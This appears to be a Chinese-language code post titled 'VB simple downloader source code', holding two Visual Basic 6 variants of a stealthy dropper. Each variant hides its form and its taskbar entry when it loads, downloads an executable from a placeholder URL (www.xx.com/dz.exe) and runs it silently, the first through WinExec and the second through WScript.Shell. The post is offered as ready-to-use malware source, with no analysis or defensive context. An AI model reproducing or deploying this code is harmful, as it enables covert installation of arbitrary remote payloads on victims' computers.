VB简单下载者源码

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\1.exe"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
WinExec "1.exe", 10
End If
End Function

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\d.exe"
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
Dim mShell As Object
Set mShell = CreateObject("wscript.shell")
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
mShell.Run "d.exe"
End If
End Function